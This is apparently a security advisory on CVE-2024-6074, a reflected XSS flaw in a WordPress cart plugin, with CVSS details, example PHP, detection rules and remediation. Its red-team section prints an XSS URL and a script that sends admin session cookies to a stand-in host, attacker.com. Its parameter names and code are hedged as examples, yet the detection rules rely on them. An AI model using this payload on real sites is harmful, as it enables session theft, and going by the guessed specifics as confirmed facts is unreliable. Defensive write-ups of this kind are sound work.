CVE-2024-6074

Executive Summary

CVE-2024-6074 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the WordPress plugin "wp-cart-for-digital-products" (versions prior to 8.5.5). The plugin fails to properly sanitize and escape a parameter before reflecting it back to the user's browser. This flaw allows an attacker to inject arbitrary JavaScript code, which can be executed in the context of a high-privilege user (e.g., administrator) session. Successful exploitation could lead to session hijacking, defacement, or privilege escalation within the WordPress admin panel.

Supply Chain & Package Security

This vulnerability affects a third-party WordPress plugin distributed through the official WordPress plugin repository. The plugin is not managed via NPM, PyPI, Go, or Ruby ecosystems. The risk is mitigated by the fact that the plugin is only available through the WordPress plugin directory, but users must ensure they update to version 8.5.5 or later to eliminate the vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction but can target high-privilege users, making it a viable vector for privilege escalation or admin account takeover.

Deep Dive & Mechanics

The vulnerability resides in the wp-cart-for-digital-products plugin, which handles e-commerce functionality for digital products. The plugin fails to sanitize a specific parameter (likely a query string parameter) before outputting it back into the HTML response. This is a classic Reflected XSS flaw.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in the vulnerable parameter.
2. The attacker sends this URL to a high-privilege user (e.g., via phishing email or social engineering).
3. The victim clicks the link while authenticated to their WordPress admin panel.
4. The plugin reflects the unsanitized payload into the page, which the browser executes.
5. The attacker's script can then perform actions such as creating new admin users, exfiltrating session cookies, or modifying site content.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or esc_attr().

Vulnerable vs. Patched Code

Vulnerable Code (pre-8.5.5):

<?php
// Example vulnerable snippet
$param = $_GET['some_param'];
echo "<div class='message'>" . $param . "</div>";
?>

Patched Code (8.5.5+):

<?php
// Patched version using WordPress escaping
$param = sanitize_text_field($_GET['some_param']);
echo "<div class='message'>" . esc_html($param) . "</div>";
?>

The patched version uses sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with the vulnerable plugin (version < 8.5.5).
• A high-privilege user (admin) who is logged in.

Exploit Payload:

<!-- Crafted URL -->
http://target-site.com/?wpsc-product=1&wpsc_cart_action=add_to_cart&wpsc_quantity=1&wpsc_ajax=1&wpsc_cart_item_name=<script>alert('XSS')</script>

Steps:

1. Identify the vulnerable parameter (e.g., wpsc_cart_item_name).
2. Craft a URL with a JavaScript payload: <script>new Image().src='http://attacker.com/steal.php?cookie='+document.cookie;</script>
3. Send the URL to the admin via email or social engineering.
4. When the admin clicks the link, the script executes and exfiltrates the session cookie.

Note: No public exploit code is available in Exploit-DB or other repositories.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual query strings containing <script> tags or encoded JavaScript.
• Use WAF rules to block reflected XSS patterns.

Hardening:

• Update the plugin to version 8.5.5 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing attacks targeting admin accounts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing wpsc_cart_item_name=<script> or similar patterns.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• File IOCs:
  • Modified WordPress core files or plugin files (e.g., wp-cart-for-digital-products.php).
• Log IOCs:
  • Unusual entries in access.log with long query strings containing JavaScript.
  • Admin user creation events without legitimate cause.

Detection Engineering

YARA Rule

rule CVE_2024_6074_Reflected_XSS {
    meta:
        description = "Detects reflected XSS payloads targeting wp-cart-for-digital-products"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6074"
    strings:
        $payload1 = /wpsc_cart_item_name=.*<script>/i
        $payload2 = /wpsc_cart_item_name=.*%3Cscript%3E/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in wp-cart-for-digital-products
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against CVE-2024-6074
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - 'wpsc_cart_item_name=<script'
            - 'wpsc_cart_item_name=%3Cscript%3E'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6074 Reflected XSS Attempt"; flow:to_server; content:"wpsc_cart_item_name"; http_uri; pcre:"/wpsc_cart_item_name=.*(<script|%3Cscript%3E)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin to version 8.5.5 or later via the WordPress admin dashboard.
2. Verify update by checking the plugin version in wp-content/plugins/wp-cart-for-digital-products/readme.txt.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers: Content-Security-Policy: script-src 'self';
• Regularly audit WordPress plugins for known vulnerabilities.
• Train administrators to recognize phishing attempts.

Patch Details: Upgrade to version 8.5.5, which includes proper input sanitization and output escaping.

Valters IT